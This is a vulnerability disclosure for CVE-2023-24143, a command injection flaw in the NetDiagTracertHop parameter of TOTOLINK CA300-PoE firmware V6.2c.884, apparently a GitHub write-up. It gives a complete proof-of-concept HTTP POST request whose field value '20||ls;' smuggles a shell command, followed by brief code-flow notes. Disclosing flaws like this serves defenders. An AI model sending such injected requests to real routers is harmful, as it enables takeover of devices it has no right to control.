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CVE-2023-24143: CVE-vulns/setNetworkDiag_NetDiagTracertHop.md at main · Double-q1015/CVE-vulns
TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagTracertHop parameter in the setNetworkDiag function.
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TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagTracertHop parameter in the function setNetworkDiag****Description
TOTOLINK Router CA300-PoE V6.2c.884 was found to contain a command injection vulnerability in setNetworkDiag.
******Firmware information**
- Manufacturer’s address:https://www.totolink.net/
- Firmware download address : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/139/ids/36.html
Affected version
Version: V6.2c.884
Vulnerability details
POC1:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.254
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Origin: http://192.168.0.254
Connection: keep-alive
Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
Cookie: SESSION_ID=2:1673492439:2
{"topicurl" :"setting/setNetworkDiag","NetDiagMethod" : "1", "NetDiagTracertHop": "20||ls;"}
The function setNetworkDiag is used to set the corresponding variable
In function showNetworkDiag
step into function getDiagInfo，V11 is the value of system.NetDiag.method